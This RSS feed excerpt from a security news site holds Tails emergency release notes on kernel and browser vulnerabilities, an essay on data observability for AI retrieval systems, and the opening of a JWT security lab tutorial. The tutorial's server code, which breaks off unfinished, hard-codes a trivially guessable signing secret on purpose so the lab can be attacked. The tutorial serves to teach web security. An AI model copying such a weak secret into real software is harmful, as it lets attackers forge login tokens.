<title><![CDATA[Tails 7.6.1]]></title>
<description><![CDATA[This release is an emergency release to fix important security
vulnerabilities in Tor Browser.

Changes and updates



Update Tor Browser to
15.0.9, which
fixes several vulnerabilities in Firefox
140.9.0.



We are not aware of these vulnerabilities being exploited in practice.



Update the Tor ...]]></description>
<link>https://tsecurity.de/de/3687675/it-security-tools/tails-761/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687675/it-security-tools/tails-761/</guid>
<pubDate>Wed, 22 Jul 2026 23:53:43 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release is an emergency release to fix important security
vulnerabilities in <em>Tor Browser</em>.</p>

<h1>Changes and updates</h1>


<ul>
<li><p>Update <em>Tor Browser</em> to
<a href="https://blog.torproject.org/new-release-tor-browser-1509">15.0.9</a>, which
fixes <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2026-27/">several vulnerabilities in <em>Firefox</em>
140.9.0</a>.</p>

<div class="attack">

<p>We are not aware of these vulnerabilities being exploited in practice.</p>

</div>
</li>
<li><p>Update the <em>Tor</em> client to 0.4.9.6.</p></li>
<li><p>Update <em>Thunderbird</em> to <a href="https://www.thunderbird.net/en-US/thunderbird/140.9.0esr/releasenotes/">140.9.0</a>.</p></li>
<li><p>Update some firmware packages. This improves support for newer hardware:
graphics, Wi-Fi, and so on.</p></li>
</ul>


<p>For more details, read our <a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>

<h1>Get Tails 7.6.1</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.6.1.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.6.1 on a new USB stick</h2>

<p>Follow our installation instructions:</p>

<ul>
<li><p><a href="https://tails.net/install/windows/index.en.html">Install from Windows</a></p></li>
<li><p><a href="https://tails.net/install/mac/index.en.html">Install from macOS</a></p></li>
<li><p><a href="https://tails.net/install/linux/index.en.html">Install from Linux</a></p></li>
<li><p><a href="https://tails.net/install/expert/index.en.html">Install from Debian or Ubuntu using the command line and GnuPG</a></p></li>
</ul>


<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.6.1 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tails 7.7.1]]></title>
<description><![CDATA[This release is an emergency release to fix important security
vulnerabilities in Tor Browser.

Changes and updates



Update Tor Browser to
15.0.11, which
fixes several vulnerabilities in Firefox
140.10.1.



We are not aware of these vulnerabilities being exploited in practice until now.



Upd...]]></description>
<link>https://tsecurity.de/de/3687672/it-security-tools/tails-771/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687672/it-security-tools/tails-771/</guid>
<pubDate>Wed, 22 Jul 2026 23:53:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release is an emergency release to fix important security
vulnerabilities in <em>Tor Browser</em>.</p>

<h1>Changes and updates</h1>


<ul>
<li><p>Update <em>Tor Browser</em> to
<a href="https://blog.torproject.org/new-release-tor-browser-15011/">15.0.11</a>, which
fixes <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2026-36/">several vulnerabilities in <em>Firefox</em>
140.10.1</a>.</p>

<div class="attack">

<p>We are not aware of these vulnerabilities being exploited in practice until now.</p>

</div>
</li>
<li><p>Update <em>Thunderbird</em> to <a href="https://www.thunderbird.net/en-US/thunderbird/140.10.0esr/releasenotes/">140.10.0</a>.</p></li>
<li><p>Stop making it possible to start our ISO images from a USB stick.</p>

<p>Since <a href="https://tails.net/news/version_3.12/">2019</a>, we recommend <em>USB images</em> to start Tails
from a USB stick, which is by far the most common way of running Tails.</p>

<p>We still distribute <a href="https://tails.net/install/download-iso/index.en.html"><em>ISO images</em></a> to start Tails from
a DVD or in a virtual machine. Until now, these ISO images worked on USB
sticks as well, but provided a degraded experience without automatic upgrades
or Persistent Storage.</p>

<p>Our ISO images no longer work on USB sticks to save a few megabytes and
prevent confusion for people who use USB sticks.</p></li>
</ul>


<p>For more details, read our <a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>

<h1>Get Tails 7.7.1</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.7.1.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.7.1 on a new USB stick</h2>

<p>Follow our <a href="https://tails.net/install/index.en.html">installation instructions</a>.</p>

<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.7.1 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tails 7.7.2]]></title>
<description><![CDATA[This release is an emergency release to fix a critical security
vulnerability in the Linux kernel.

Changes and updates



Update the Linux kernel to 6.12.85, which fixes Copy
Fail, a vulnerability that could allow an application in
Tails to gain administration privileges.

For example, if an att...]]></description>
<link>https://tsecurity.de/de/3687671/it-security-tools/tails-772/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687671/it-security-tools/tails-772/</guid>
<pubDate>Wed, 22 Jul 2026 23:53:38 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release is an emergency release to fix a critical security
vulnerability in the Linux kernel.</p>

<h1>Changes and updates</h1>


<ul>
<li><p>Update the <em>Linux</em> kernel to 6.12.85, which fixes <a href="https://copy.fail/">Copy
Fail</a>, a vulnerability that could allow an application in
Tails to gain administration privileges.</p>

<p>For example, if an attacker was able to exploit other unknown security
vulnerabilities in an application included in Tails, they might then use Copy
Fail to take full control of your Tails and deanonymize you.</p>

<div class="attack">

<p>We are not aware of this vulnerability being used in practice until now.</p>

</div>
</li>
</ul>


<h1>Fixed problems</h1>


<p>For more details, read our <a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>

<h1>Get Tails 7.7.2</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.7.2.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.7.2 on a new USB stick</h2>

<p>Follow our <a href="https://tails.net/install/index.en.html">installation instructions</a>.</p>

<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.7.2 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tails 7.7.3]]></title>
<description><![CDATA[This release is an emergency release to fix a critical security vulnerability in
the Linux kernel, as well as security vulnerabilities in Tor Browser and in
the Tor client.

Changes and updates



Update the Linux kernel to 6.12.86, which fixes Dirty
Frag, a vulnerability that could allow an appl...]]></description>
<link>https://tsecurity.de/de/3687670/it-security-tools/tails-773/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687670/it-security-tools/tails-773/</guid>
<pubDate>Wed, 22 Jul 2026 23:53:37 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release is an emergency release to fix a critical security vulnerability in
the Linux kernel, as well as security vulnerabilities in <em>Tor Browser</em> and in
the <em>Tor</em> client.</p>

<h1>Changes and updates</h1>


<ul>
<li><p>Update the <em>Linux</em> kernel to 6.12.86, which fixes <a href="https://github.com/V4bel/dirtyfrag">Dirty
Frag</a>, a vulnerability that could allow an application in
Tails to gain administration privileges.</p>

<p>For example, if an attacker was able to exploit other unknown security
vulnerabilities in an application included in Tails, they might then use Dirty
Frag to take full control of your Tails and deanonymize you.</p>

<div class="attack">

<p>We are not aware of this vulnerability being used in practice until now.</p>

</div>
</li>
<li><p>Update <em>Tor Browser</em> to <a href="https://blog.torproject.org/new-release-tor-browser-15012/">15.0.12</a>.</p></li>
<li><p>Update the <em>Tor</em> client to 0.4.9.8.</p></li>
<li><p>Update <em>Thunderbird</em> to <a href="https://www.thunderbird.net/en-US/thunderbird/140.10.1esr/releasenotes/">140.10.1</a>.</p></li>
</ul>


<h1>Fixed problems</h1>


<p>For more details, read our <a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>

<h1>Get Tails 7.7.3</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.7.3.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.7.3 on a new USB stick</h2>

<p>Follow our <a href="https://tails.net/install/index.en.html">installation instructions</a>.</p>

<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.7.3 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tails 7.8.1]]></title>
<description><![CDATA[This release is an emergency release to fix a serious security vulnerability in
the Linux kernel, as well as security vulnerabilities in the Tor client.

Changes and updates



Update the Tor client to 0.4.9.9, which fixes several security
vulnerabilities.
Update the Linux kernel to 6.12.90-2, wh...]]></description>
<link>https://tsecurity.de/de/3687668/it-security-tools/tails-781/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687668/it-security-tools/tails-781/</guid>
<pubDate>Wed, 22 Jul 2026 23:53:34 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release is an emergency release to fix a serious security vulnerability in
the Linux kernel, as well as security vulnerabilities in the <em>Tor</em> client.</p>

<h1>Changes and updates</h1>


<ul>
<li><p>Update the <em>Tor</em> client to 0.4.9.9, which fixes <a href="https://gitlab.torproject.org/tpo/core/tor/-/raw/release-0.4.9/ReleaseNotes">several security
vulnerabilities</a>.</p></li>
<li><p>Update the <em>Linux</em> kernel to 6.12.90-2, which fixes
<a href="https://security-tracker.debian.org/tracker/CVE-2026-43503">CVE-2026-43503</a>,
a vulnerability that could allow an application in Tails to gain
administration privileges.</p>

<p>For example, if an attacker was able to exploit other unknown security
vulnerabilities in an application included in Tails, they might then use this
vulnerability to take full control of your Tails and deanonymize you.</p>

<div class="attack">

<p>This attack is very unlikely, but could be performed by a strong attacker,
such as a government or a hacking firm. We are not aware of this vulnerability
being used in practice until now.</p>

</div>
</li>
</ul>


<h1>Fixed problems</h1>


<ul>
<li>Fix a fingerprinting issue in the <em>Unsafe Browser</em>. (<a href="https://gitlab.tails.boum.org/tails/tails/-/work_items/21617">#21617</a>)</li>
</ul>


<h1>Get Tails 7.8.1</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.8.1.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.8.1 on a new USB stick</h2>

<p>Follow our <a href="https://tails.net/install/index.en.html">installation instructions</a>.</p>

<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.8.1 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tails 7.9.1]]></title>
<description><![CDATA[Changes and updates



Update Tor Browser to 15.0.17.
Update the Tor client to 0.4.9.11.
Update the Linux kernel to 6.12.94, which fixes CVE-2026-43503 (DirtyClone) and CVE-2026-46331 (PACKET_EDIT_MEME),
vulnerabilities that could allow an application in
Tails to gain administration privileges.

...]]></description>
<link>https://tsecurity.de/de/3687666/it-security-tools/tails-791/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687666/it-security-tools/tails-791/</guid>
<pubDate>Wed, 22 Jul 2026 23:53:30 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Changes and updates</h1>


<ul>
<li><p>Update <em>Tor Browser</em> to <a href="https://blog.torproject.org/new-release-tor-browser-15017/">15.0.17</a>.</p></li>
<li><p>Update the <em>Tor</em> client to 0.4.9.11.</p></li>
<li><p>Update the <em>Linux</em> kernel to 6.12.94, which fixes <a href="https://www.cve.org/CVERecord?id=CVE-2026-43503">CVE-2026-43503</a> (<em>DirtyClone</em>) and <a href="https://www.cve.org/CVERecord?id=CVE-2026-46331">CVE-2026-46331</a> (<em>PACKET_EDIT_MEME</em>),
vulnerabilities that could allow an application in
Tails to gain administration privileges.</p>

<p>For example, if an attacker was able to exploit other unknown security
vulnerabilities in an application included in Tails, they might then use CVE-2026-46331
to take full control of your Tails and deanonymize you.</p>

<div class="attack">

<p>This attack is unlikely, but could be performed by a strong attacker,
such as a government or a hacking firm. We are not aware of this vulnerability being
used in practice until now.</p>

</div>
</li>
</ul>


<h1>Fixed problems</h1>


<p>For more details, read our <a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>

<h1>Get Tails 7.9.1</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.9.1.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.9.1 on a new USB stick</h2>

<p>Follow our <a href="https://tails.net/install/index.en.html">installation instructions</a>.</p>

<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.9.1 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Release: Tails 7.9.1]]></title>
<description><![CDATA[Changes and updates

Update Tor Browser to 15.0.17.

Update the Tor client to 0.4.9.11.

Update the Linux kernel to 6.12.94, which fixes
CVE-2026-43503 (DirtyClone) and
CVE-2026-46331 (PACKET_EDIT_MEME), vulnerabilities that could allow an application in Tails to gain administration privileges.

...]]></description>
<link>https://tsecurity.de/de/3687539/it-security-tools/new-release-tails-791/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687539/it-security-tools/new-release-tails-791/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:16 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-release-tails-7_9_1/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-release-tails-7_9_1/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-release-tails-7_9_1/lead.jpg">
    </picture>
    <div class="body"><h2>Changes and updates</h2>
<ul>
<li><p>Update <em>Tor Browser</em> to <a href="https://blog.torproject.org/new-release-tor-browser-15017/">15.0.17</a>.</p>
</li>
<li><p>Update the <em>Tor</em> client to 0.4.9.11.</p>
</li>
<li><p>Update the <em>Linux</em> kernel to 6.12.94, which fixes
<a href="https://www.cve.org/CVERecord?id=CVE-2026-43503">CVE-2026-43503</a> (<em>DirtyClone</em>) and
<a href="https://www.cve.org/CVERecord?id=CVE-2026-46331">CVE-2026-46331</a> (<em>PACKET_EDIT_MEME</em>), vulnerabilities that could allow an application in Tails to gain administration privileges.</p>
</li>
</ul>
<p>For example, if an attacker was able to exploit other unknown security
vulnerabilities in an application included in Tails, they might then use
CVE-2026-46331 to take full control of your Tails and deanonymize you.</p>
<p>This attack is unlikely, but could be performed by a strong attacker, such as
a government or a hacking firm. We are not aware of this vulnerability being
used in practice until now.</p>
<h2>Fixed problems</h2>
<p>For more details, read our
<a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>
<h2>Get Tails 7.9.1</h2>
<h3>To upgrade your Tails USB stick and keep your Persistent Storage</h3>
<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.9.1.</p>
</li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/#manual">manual upgrade</a>.</p>
</li>
</ul>
<h3>To install Tails 7.9.1 on a new USB stick</h3>
<p>Follow our <a href="https://tails.net/install/">installation instructions</a>.</p>
<p>The Persistent Storage on the USB stick will be lost if you install instead of
upgrading.</p>
<h3>To download only</h3>
<p>If you don't need installation or upgrade instructions, you can download Tails
7.9.1 directly:</p>
<ul>
<li><p><a href="https://tails.net/install/download/">For USB sticks (USB image)</a></p>
</li>
<li><p><a href="https://tails.net/install/download-iso/">For DVDs and virtual machines (ISO image)</a></p>
</li>
</ul>
<h2>Support and feedback</h2>
<p>For support and feedback, visit the <a href="https://tails.net/support/">Support
section</a> on the Tails website.</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/tails">
          tails
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: 